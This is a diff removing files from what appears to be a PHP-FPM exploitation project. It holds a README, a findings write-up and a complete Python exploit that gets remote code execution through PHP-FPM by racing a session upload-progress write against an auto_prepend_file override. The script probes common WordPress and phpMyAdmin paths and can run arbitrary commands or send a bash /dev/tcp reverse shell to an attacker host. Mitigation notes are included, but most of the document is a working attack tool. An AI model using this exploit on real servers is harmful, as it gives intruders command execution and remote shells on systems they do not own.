- ./html:/var/www/html:rw
|
||||
restart: unless-stopped
|
||||
|
||||
stock:
|
||||
image: php:8.4.26-apache
|
||||
container_name: php2shell-uaf-stock
|
||||
ports:
|
||||
- "127.0.0.1:8093:80"
|
||||
volumes:
|
||||
- ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro
|
||||
- ./html:/var/www/html:ro
|
||||
restart: unless-stopped
|
||||
@@ -1,128 +0,0 @@
|
||||
# RCE via FastCGI + Session Upload Progress (No LFI)
|
||||
|
||||
## Summary
|
||||
|
||||
When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the
|
||||
session upload progress write primitive from CVE-2026-109618 /
|
||||
CVE-2026-109619 becomes RCE without any application-level vulnerability.
|
||||
|
||||
No LFI needed. No framework needed. No special PHP configuration needed.
|
||||
Works on default php.ini settings.
|
||||
|
||||
## Attack chain
|
||||
|
||||
```
|
||||
Worker A (held open) Worker B (executes)
|
||||
--- ---
|
||||
FastCGI POST with FastCGI GET with
|
||||
multipart body: PHP_VALUE:
|
||||
PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file=
|
||||
= <?php system(...); ?> /tmp/sess_<SID>
|
||||
SCRIPT_FILENAME=
|
||||
File upload content /var/www/html/index.php
|
||||
dripped one byte at a time
|
||||
-> session file persists PHP includes the session
|
||||
-> parser blocks for file before index.php
|
||||
the entire drip window -> attacker PHP runs
|
||||
-> RCE
|
||||
```
|
||||
|
||||
### Step by step
|
||||
|
||||
1. **Open a FastCGI connection to FPM worker A.** Send a POST request
|
||||
with `Content-Type: multipart/form-data` and `PHPSESSID=<SID>` in the
|
||||
`HTTP_COOKIE` param. The body contains:
|
||||
- A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code
|
||||
- A file upload whose content is dripped slowly (byte by byte)
|
||||
|
||||
2. **FPM worker A enters the multipart parser.** As soon as the progress
|
||||
field and file header are read, `session.upload_progress` writes the
|
||||
attacker's PHP code into `/tmp/sess_<SID>`. The parser then blocks
|
||||
reading the file content from STDIN, which we control.
|
||||
|
||||
3. **While worker A is blocked, open a second FastCGI connection to
|
||||
worker B.** Send a GET request with:
|
||||
- `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file)
|
||||
- `PHP_VALUE = auto_prepend_file = /tmp/sess_<SID>`
|
||||
|
||||
4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to
|
||||
`include()` the session file before running the main script. The session
|
||||
file contains the attacker's `<?php ... ?>` code, which executes.
|
||||
|
||||
5. **Cleanup.** The drip finishes, worker A completes normally (or times
|
||||
out), the session file is cleaned up. The attacker's code has already
|
||||
executed on worker B.
|
||||
|
||||
## Why it works on default configuration
|
||||
|
||||
| Setting | Default | Required |
|
||||
|---------|---------|----------|
|
||||
| `session.upload_progress.enabled` | `1` | `1` |
|
||||
| `session.save_path` | `/tmp` | Any known path |
|
||||
| `pm.max_children` | `5` (dynamic) | `>= 2` |
|
||||
| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) |
|
||||
| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) |
|
||||
|
||||
`security.limit_extensions` blocks execution of files without `.php`
|
||||
extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via
|
||||
`include()`, which ignores `security.limit_extensions` entirely. The
|
||||
session file (which has no extension) is included as PHP code regardless
|
||||
of `limit_extensions`.
|
||||
|
||||
## When FPM is reachable
|
||||
|
||||
This is the main precondition. The attacker needs raw TCP or unix socket
|
||||
access to the FPM process. This is realistic in:
|
||||
|
||||
1. **Docker containers.** The official `php:*-fpm` images configure FPM to
|
||||
listen on TCP `0.0.0.0:9000`. Any container on the same Docker network
|
||||
can reach it.
|
||||
|
||||
2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service
|
||||
name. Adjacent pods, including compromised ones, can send raw FastCGI.
|
||||
|
||||
3. **SSRF.** An SSRF vulnerability in any application on the same host
|
||||
can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme
|
||||
can carry arbitrary TCP payloads including FastCGI.
|
||||
|
||||
4. **Exposed port.** Misconfigured firewalls, cloud security groups, or
|
||||
Docker port mappings exposing 9000 to the network.
|
||||
|
||||
5. **Same-host access.** A low-privilege shell on the same machine can
|
||||
often read the unix socket (permissions vary by distro).
|
||||
|
||||
## Test results
|
||||
|
||||
Tested against PHP-FPM 8.3.6 with default settings:
|
||||
|
||||
- `session.upload_progress.enabled=1` (default)
|
||||
- `session.save_path=/tmp` (default)
|
||||
- `session.upload_progress.cleanup=1` (default)
|
||||
- `security.limit_extensions = .php .phar` (default)
|
||||
- `pm = static`, `pm.max_children = 2`
|
||||
|
||||
Results: 3/3 tests successful. Race hit on first attempt within 200ms
|
||||
of the drip starting. Reliable with `--drip-time 5` (5 second window).
|
||||
|
||||
## Mitigations
|
||||
|
||||
1. **Set `session.upload_progress.enabled=0`** if upload progress tracking
|
||||
is not needed. This removes the write primitive entirely.
|
||||
|
||||
2. **Block network access to FPM.** FPM should only be reachable from the
|
||||
web server process. Use unix sockets with restricted file permissions,
|
||||
or firewall TCP port 9000.
|
||||
|
||||
3. **Use `pm.max_children=1`** as a last resort. With only one worker, the
|
||||
racer cannot execute while the drip holds a worker. This severely impacts
|
||||
performance and is not practical.
|
||||
|
||||
4. Setting `security.limit_extensions` does NOT help. The inclusion
|
||||
happens via `auto_prepend_file`, which bypasses limit_extensions.
|
||||
|
||||
5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config
|
||||
does NOT help. Verified: with `php_admin_value[auto_prepend_file] =
|
||||
/dev/null` in the pool, a FastCGI request with `PHP_VALUE:
|
||||
auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI
|
||||
access bypasses the web server that would normally enforce admin
|
||||
values. The only effective mitigation is blocking FastCGI access.
|
||||
@@ -1,566 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
|
||||
|
||||
Combines the PHP session upload progress write primitive with direct
|
||||
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
|
||||
special PHP configuration needed.
|
||||
|
||||
Attack chain:
|
||||
1. FastCGI multipart POST to any .php file on the target FPM pool:
|
||||
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
|
||||
<save_path>/sess_<SID>. The request body is dripped slowly via
|
||||
FastCGI STDIN so the session file persists for seconds (the
|
||||
multipart parser blocks until STDIN EOF).
|
||||
|
||||
2. While worker A is blocked on our slow drip, a second FastCGI
|
||||
request goes to worker B:
|
||||
SCRIPT_FILENAME = <same .php file>
|
||||
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
|
||||
PHP includes the session file before running the script.
|
||||
Our PHP code executes.
|
||||
|
||||
Why this works on default config:
|
||||
- session.upload_progress.enabled=1 (default)
|
||||
- session.save_path=/tmp (common default)
|
||||
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
|
||||
- security.limit_extensions only restricts SCRIPT_FILENAME, not
|
||||
files loaded via auto_prepend_file
|
||||
- No application vulnerability needed
|
||||
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
|
||||
|
||||
Preconditions:
|
||||
- Network access to PHP-FPM (TCP socket or unix socket)
|
||||
- At least one .php file exists on the server
|
||||
- session.upload_progress.enabled=1 (default)
|
||||
- pm.max_children >= 2 (default)
|
||||
|
||||
When is FPM reachable:
|
||||
- Docker: official PHP-FPM images listen on TCP 9000
|
||||
- Kubernetes: FPM pods addressable from adjacent pods
|
||||
- SSRF: another app on the same host can reach FPM
|
||||
- Same-host: unix socket /run/php/php-fpm.sock
|
||||
- Exposed port: firewall misconfiguration
|
||||
|
||||
Usage:
|
||||
# Direct FastCGI (drip race, most reliable)
|
||||
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||
|
||||
# Specify PHP file and session path
|
||||
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
||||
--script-file /var/www/html/index.php \\
|
||||
--session-path /tmp --cmd 'id'
|
||||
|
||||
# Unix socket
|
||||
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||
|
||||
# HTTP poison + FastCGI execute (when FPM not directly reachable
|
||||
# for uploads, but reachable for execution)
|
||||
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
|
||||
|
||||
# Reverse shell
|
||||
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
||||
--lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
# ── FastCGI protocol ──────────────────────────────────────────────────
|
||||
|
||||
FCGI_VERSION_1 = 1
|
||||
FCGI_BEGIN_REQUEST = 1
|
||||
FCGI_END_REQUEST = 3
|
||||
FCGI_PARAMS = 4
|
||||
FCGI_STDIN = 5
|
||||
FCGI_STDOUT = 6
|
||||
FCGI_STDERR = 7
|
||||
FCGI_RESPONDER = 1
|
||||
|
||||
|
||||
def fcgi_record(rtype, request_id, content):
|
||||
clen = len(content)
|
||||
pad = (8 - (clen % 8)) % 8
|
||||
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
|
||||
request_id, clen, pad)
|
||||
+ content + b"\x00" * pad)
|
||||
|
||||
|
||||
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
|
||||
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
|
||||
struct.pack(">HBxxxxx", role, flags))
|
||||
|
||||
|
||||
def fcgi_nv(name, value):
|
||||
nlen = len(name)
|
||||
vlen = len(value)
|
||||
out = b""
|
||||
if nlen < 128:
|
||||
out += struct.pack("B", nlen)
|
||||
else:
|
||||
out += struct.pack(">I", nlen | 0x80000000)
|
||||
if vlen < 128:
|
||||
out += struct.pack("B", vlen)
|
||||
else:
|
||||
out += struct.pack(">I", vlen | 0x80000000)
|
||||
return out + name + value
|
||||
|
||||
|
||||
def fcgi_params(request_id, params_dict):
|
||||
body = b""
|
||||
for k, v in params_dict.items():
|
||||
body += fcgi_nv(k.encode(), v.encode())
|
||||
return (fcgi_record(FCGI_PARAMS, request_id, body)
|
||||
+ fcgi_record(FCGI_PARAMS, request_id, b""))
|
||||
|
||||
|
||||
def fcgi_stdin_eof(request_id):
|
||||
return fcgi_record(FCGI_STDIN, request_id, b"")
|
||||
|
||||
|
||||
def fcgi_parse_stdout(data):
|
||||
stdout_data = b""
|
||||
stderr_data = b""
|
||||
pos = 0
|
||||
while pos + 8 <= len(data):
|
||||
_, rtype, _, clen, pad = struct.unpack(
|
||||
">BBHHBx", data[pos:pos+8])
|
||||
content = data[pos+8:pos+8+clen]
|
||||
pos += 8 + clen + pad
|
||||
if rtype == FCGI_STDOUT:
|
||||
stdout_data += content
|
||||
elif rtype == FCGI_STDERR:
|
||||
stderr_data += content
|
||||
elif rtype == FCGI_END_REQUEST:
|
||||
break
|
||||
return stdout_data, stderr_data
|
||||
|
||||
|
||||
# ── FPM connection ────────────────────────────────────────────────────
|
||||
|
||||
def fpm_connect(fpm_addr, timeout=10):
|
||||
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
|
||||
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
sock.connect(fpm_addr)
|
||||
return sock
|
||||
if ":" in fpm_addr:
|
||||
host, port = fpm_addr.rsplit(":", 1)
|
||||
port = int(port)
|
||||
else:
|
||||
host = fpm_addr
|
||||
port = 9000
|
||||
return socket.create_connection((host, port), timeout=timeout)
|
||||
|
||||
|
||||
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
|
||||
"""Send GET request to FPM with auto_prepend_file."""
|
||||
params = {
|
||||
"SCRIPT_FILENAME": script_filename,
|
||||
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
|
||||
"REQUEST_METHOD": "GET",
|
||||
"SERVER_SOFTWARE": "go / fcgiclient",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"SERVER_ADDR": "127.0.0.1",
|
||||
"SERVER_PORT": "80",
|
||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||
"CONTENT_TYPE": "",
|
||||
"CONTENT_LENGTH": "0",
|
||||
"DOCUMENT_ROOT": os.path.dirname(script_filename),
|
||||
"REQUEST_URI": "/" + os.path.basename(script_filename),
|
||||
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
|
||||
}
|
||||
|
||||
request_id = 1
|
||||
payload = fcgi_begin_request(request_id)
|
||||
payload += fcgi_params(request_id, params)
|
||||
payload += fcgi_stdin_eof(request_id)
|
||||
|
||||
sock = fpm_connect(fpm_addr, timeout)
|
||||
sock.sendall(payload)
|
||||
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(65536)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
stdout_data, stderr_data = fcgi_parse_stdout(resp)
|
||||
if b"\r\n\r\n" in stdout_data:
|
||||
_, body = stdout_data.split(b"\r\n\r\n", 1)
|
||||
return body, stderr_data
|
||||
return stdout_data, stderr_data
|
||||
|
||||
|
||||
# ── Multipart helpers ─────────────────────────────────────────────────
|
||||
|
||||
def mp_field(bnd, name, value):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n")
|
||||
|
||||
|
||||
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
|
||||
|
||||
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
|
||||
session_paths, marker, drip_time=10,
|
||||
timeout=30):
|
||||
"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
|
||||
|
||||
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
|
||||
multipart body contains a file upload whose content is dripped byte
|
||||
by byte, keeping the FPM worker in the multipart parser (which keeps
|
||||
the session file on disk) for the entire drip_time.
|
||||
|
||||
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
|
||||
pointing to the session file, racing to include it while worker A
|
||||
holds it open.
|
||||
"""
|
||||
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
|
||||
found = {"body": None, "path": None}
|
||||
|
||||
# Build the multipart body prefix: progress field + file header
|
||||
body_prefix = b""
|
||||
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||
body_prefix += (
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
)
|
||||
|
||||
# The suffix that closes the file part and the multipart
|
||||
body_suffix = b"\r\n--" + bnd + b"--\r\n"
|
||||
|
||||
# Calculate total Content-Length (we need to declare it upfront)
|
||||
# The file content will be dripped: we'll send drip_bytes of padding
|
||||
drip_bytes = 1024 * 64
|
||||
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
|
||||
|
||||
# ── Thread B: racer ──
|
||||
def racer():
|
||||
deadline = time.time() + timeout
|
||||
attempt = 0
|
||||
while time.time() < deadline and found["body"] is None:
|
||||
for sp in session_paths:
|
||||
if found["body"] is not None:
|
||||
return
|
||||
sess_file = f"{sp}/sess_{sid}"
|
||||
attempt += 1
|
||||
try:
|
||||
body, _ = fpm_execute(fpm_addr, script_file,
|
||||
sess_file, timeout=3)
|
||||
if marker.encode() in body:
|
||||
found["body"] = body
|
||||
found["path"] = sess_file
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(0.005)
|
||||
|
||||
# ── Thread A: slow drip ──
|
||||
fcgi_params_dict = {
|
||||
"SCRIPT_FILENAME": script_file,
|
||||
"SCRIPT_NAME": "/" + os.path.basename(script_file),
|
||||
"REQUEST_METHOD": "POST",
|
||||
"SERVER_SOFTWARE": "go / fcgiclient",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"SERVER_ADDR": "127.0.0.1",
|
||||
"SERVER_PORT": "80",
|
||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
|
||||
"CONTENT_LENGTH": str(total_body),
|
||||
"DOCUMENT_ROOT": os.path.dirname(script_file),
|
||||
"REQUEST_URI": "/" + os.path.basename(script_file),
|
||||
"HTTP_COOKIE": f"PHPSESSID={sid}",
|
||||
}
|
||||
|
||||
request_id = 1
|
||||
header = fcgi_begin_request(request_id)
|
||||
header += fcgi_params(request_id, fcgi_params_dict)
|
||||
|
||||
# Send headers + body prefix as first STDIN record
|
||||
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
|
||||
|
||||
sock = fpm_connect(fpm_addr, timeout=timeout)
|
||||
sock.sendall(header + first_stdin)
|
||||
|
||||
# Small delay to let FPM start processing and write session file
|
||||
time.sleep(0.2)
|
||||
|
||||
# Start the racer
|
||||
race_thread = threading.Thread(target=racer, daemon=True)
|
||||
race_thread.start()
|
||||
|
||||
# Drip file content slowly
|
||||
drip_interval = drip_time / (drip_bytes // 64)
|
||||
sent = 0
|
||||
while sent < drip_bytes and found["body"] is None:
|
||||
chunk = b"\x00" * min(64, drip_bytes - sent)
|
||||
try:
|
||||
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
|
||||
sent += len(chunk)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
break
|
||||
time.sleep(drip_interval)
|
||||
|
||||
# Send suffix + STDIN EOF
|
||||
try:
|
||||
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
|
||||
sock.sendall(fcgi_stdin_eof(request_id))
|
||||
except:
|
||||
pass
|
||||
|
||||
# Read response (cleanup)
|
||||
sock.settimeout(3)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
race_thread.join(timeout=5)
|
||||
return found["body"], found["path"]
|
||||
|
||||
|
||||
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
|
||||
|
||||
def _parse_url(url):
|
||||
p = urlparse(url)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
return host, port, tls, path
|
||||
|
||||
|
||||
def tcp_connect(host, port, tls=False, timeout=30):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def send_chunk(sock, data):
|
||||
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
||||
|
||||
|
||||
# ── Script discovery ──────────────────────────────────────────────────
|
||||
|
||||
SCRIPT_CANDIDATES = [
|
||||
"/var/www/html/index.php",
|
||||
"/var/www/html/wp-login.php",
|
||||
"/var/www/html/wp-cron.php",
|
||||
"/var/www/html/xmlrpc.php",
|
||||
"/var/www/public/index.php",
|
||||
"/var/www/app/public/index.php",
|
||||
"/var/www/html/info.php",
|
||||
"/srv/http/index.php",
|
||||
"/usr/share/phpmyadmin/index.php",
|
||||
"/usr/local/lib/php/pearcmd.php",
|
||||
]
|
||||
|
||||
SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
"/var/lib/php/sess",
|
||||
]
|
||||
|
||||
|
||||
def find_php_script(fpm_addr, candidates, timeout=3):
|
||||
"""Probe FPM to find an existing .php file."""
|
||||
for path in candidates:
|
||||
try:
|
||||
params = {
|
||||
"SCRIPT_FILENAME": path,
|
||||
"REQUEST_METHOD": "GET",
|
||||
"SERVER_SOFTWARE": "probe",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"SERVER_ADDR": "127.0.0.1",
|
||||
"SERVER_PORT": "80",
|
||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||
"CONTENT_TYPE": "",
|
||||
"CONTENT_LENGTH": "0",
|
||||
}
|
||||
request_id = 1
|
||||
payload = fcgi_begin_request(request_id)
|
||||
payload += fcgi_params(request_id, params)
|
||||
payload += fcgi_stdin_eof(request_id)
|
||||
|
||||
sock = fpm_connect(fpm_addr, timeout)
|
||||
sock.sendall(payload)
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(65536)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
stdout, _ = fcgi_parse_stdout(resp)
|
||||
if b"Primary script unknown" not in stdout and len(stdout) > 0:
|
||||
return path
|
||||
except:
|
||||
continue
|
||||
return None
|
||||
|
||||
|
||||
# ── main ──────────────────────────────────────────────────────────────
|
||||
|
||||
def run(args):
|
||||
fpm_addr = args.fpm
|
||||
sid = args.session_id or os.urandom(16).hex()
|
||||
marker = "FCGIRCE"
|
||||
|
||||
spaths = list(SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths
|
||||
if s != args.session_path]
|
||||
|
||||
if args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = (
|
||||
f'<?php echo "{marker}:";'
|
||||
f'system(base64_decode("{cmd_b64}"));'
|
||||
f'echo ":{marker}END"; ?>'
|
||||
).encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = (f"bash -c 'bash -i >& "
|
||||
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
elif args.trigger_only:
|
||||
php_code = (
|
||||
f'<?php echo "{marker}:pid=".getmypid().'
|
||||
f'"&uname=".php_uname().":{marker}END"; ?>'
|
||||
).encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
|
||||
file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
||||
print("=" * 65)
|
||||
print(f" FPM address : {fpm_addr}")
|
||||
print(f" Session ID : {sid}")
|
||||
print(f" Drip time : {args.drip_time}s")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
else:
|
||||
print(f" Trigger-only")
|
||||
print()
|
||||
|
||||
# ── Step 0: find a .php script ──
|
||||
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
|
||||
script_file = args.script_file
|
||||
if not script_file:
|
||||
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
|
||||
if script_file:
|
||||
print(f" Found: {script_file}")
|
||||
else:
|
||||
print(" [!] No .php file found. Use --script-file.")
|
||||
sys.exit(1)
|
||||
else:
|
||||
print(f" Using: {script_file}")
|
||||
|
||||
# ── Step 1+2: poison via slow drip + race execution ──
|
||||
print(f"[*] Step 1+2: slow-drip poison + race execution...")
|
||||
print(f" Dripping multipart body over {args.drip_time}s "
|
||||
f"while racing auto_prepend_file...")
|
||||
|
||||
body, path = poison_and_execute_fcgi(
|
||||
fpm_addr, script_file, sid, php_code,
|
||||
spaths, marker,
|
||||
drip_time=args.drip_time,
|
||||
timeout=args.drip_time + 10)
|
||||
|
||||
if body:
|
||||
print(f" [+] RCE confirmed via {path}")
|
||||
output = body.decode(errors="replace")
|
||||
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
|
||||
if m:
|
||||
print()
|
||||
print(m.group(1))
|
||||
else:
|
||||
print()
|
||||
print(output)
|
||||
return True
|
||||
else:
|
||||
print(" [!] Race did not succeed.")
|
||||
print(" Possible causes:")
|
||||
print(" - pm.max_children < 2 (need at least 2 workers)")
|
||||
print(" - session.upload_progress.enabled = 0")
|
||||
print(" - Incorrect session.save_path (try --session-path)")
|
||||
print(" - Try increasing --drip-time")
|
||||
return False
|
||||
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(
|
||||
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
||||
p.add_argument("--fpm", required=True,
|
||||
help="PHP-FPM address (host:port or /path/to/socket)")
|
||||
p.add_argument("-t", "--target",
|
||||
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
|
||||
p.add_argument("--script-file",
|
||||
help="Existing .php file on target (auto-detected)")
|
||||
p.add_argument("--session-path",
|
||||
help="session.save_path override")
|
||||
p.add_argument("--session-id",
|
||||
help="Force session ID (default: random)")
|
||||
p.add_argument("--cmd", help="Command to execute")
|
||||
p.add_argument("--lhost", help="Reverse shell host")
|
||||
p.add_argument("--lport", type=int, help="Reverse shell port")
|
||||
p.add_argument("--trigger-only", action="store_true",
|
||||
help="Verify RCE without running a payload")
|
||||
p.add_argument("--drip-time", type=int, default=10,
|
||||
help="Seconds to drip the upload body (default: 10)")
|
||||
sys.exit(0 if run(p.parse_args()) else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,169 +0,0 @@
|
||||
# RCE Without LFI — Findings
|
||||
|
||||
Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS`
|
||||
write primitive) be turned into RCE **without any include() primitive in the
|
||||
application**?
|
||||
|
||||
Short answer: not through the session decoder — PHP never unserializes attacker
|
||||
bytes off the session file, and four independent guards close that route. But
|
||||
yes through a different consumer: **PHP-FPM's own request routing**. When
|
||||
`session.save_path` is web-served, the poisoned session file is directly
|
||||
requestable, and php-fpm executes it through the standard `PATH_INFO` route as
|
||||
soon as `security.limit_extensions` is empty. No application code runs at any
|
||||
point; the poison fires even on 404 URLs.
|
||||
|
||||
Everything below was verified against a local php-fpm 8.5.11 build plus the
|
||||
PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`,
|
||||
`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`).
|
||||
|
||||
## Part 1: why session deserialization is a dead end
|
||||
|
||||
The obvious no-LFI consumer is `session_start()` itself: it decodes the
|
||||
poisoned file on the next request. If the decoded stream could be made to
|
||||
unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain
|
||||
(phpggc) would give RCE with zero LFI. It cannot, for four reasons:
|
||||
|
||||
**1. The `|` guard aborts the whole write** (php handler, the default).
|
||||
|
||||
`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key:
|
||||
|
||||
smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
|
||||
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
|
||||
... return NULL; /* session.c:993-998 in 8.3 */
|
||||
|
||||
and `php_session_save_current_state()` then writes the **empty string** instead
|
||||
of the session (session.c:529-531). The progress key is `prefix + $_POST value`
|
||||
appended verbatim (session.c:3144-3145, no per-character filtering — the README
|
||||
of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the
|
||||
value kills the write entirely.
|
||||
|
||||
Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file
|
||||
exists with **0 bytes**. No object, no data.
|
||||
|
||||
**2. The key is never unserialized.** With `serialize_handler=php`, the decode
|
||||
loop splits at the first `|` and unserializes only the value side
|
||||
(session.c:1024-1048). The value side is always the well-formed progress array
|
||||
written by `php_var_serialize` — length-prefixed, aligned. The raw attacker
|
||||
bytes land in the key, which becomes a plain `$_SESSION` array key.
|
||||
|
||||
**3. Other serializers are aligned or escaped.**
|
||||
- `php_serialize`: key passes through `php_var_serialize` escaping
|
||||
(`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single
|
||||
aligned `unserialize()`.
|
||||
- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`,
|
||||
`continue`), decode is length-prefixed.
|
||||
- `wddx`: XML, can only produce scalars/arrays.
|
||||
|
||||
**4. The SID cannot carry the payload into a filename.** The rfc1867 flow
|
||||
skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)`
|
||||
straight from the cookie/GET/POST-form-field (session.c FILE_START handler) —
|
||||
but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()`
|
||||
(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`.
|
||||
The path is always `<save_path>/sess_<SID>` (`ps_files_path_create`), so no
|
||||
traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces
|
||||
"Session ID is too long or contains illegal characters" and no file.
|
||||
|
||||
Handler-specific corollary: the rfc1867 path hands the raw SID to whichever
|
||||
save handler is configured. `mod_files` is the only built-in that validates.
|
||||
Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated —
|
||||
whether they sanitize before building store keys is deployment-dependent and
|
||||
